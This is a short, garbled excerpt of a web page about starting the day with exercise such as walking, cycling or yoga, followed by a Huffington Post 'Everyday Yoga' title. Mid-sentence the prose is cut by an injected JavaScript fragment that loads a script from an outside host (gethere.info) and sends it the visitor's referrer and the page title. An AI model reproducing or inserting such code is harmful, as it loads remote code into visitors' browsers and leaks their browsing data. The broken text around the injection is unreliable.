Rather than letting the events of the day overwhelm us, we can begin each day with a natural dose of stress prevention–exercise. When you exercise in the morning, whether that is going for a walk, riding your bike, or getting on your yoga mat, that …s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
Everyday Yoga: Here Comes the Sun – Huffingtonpost.com
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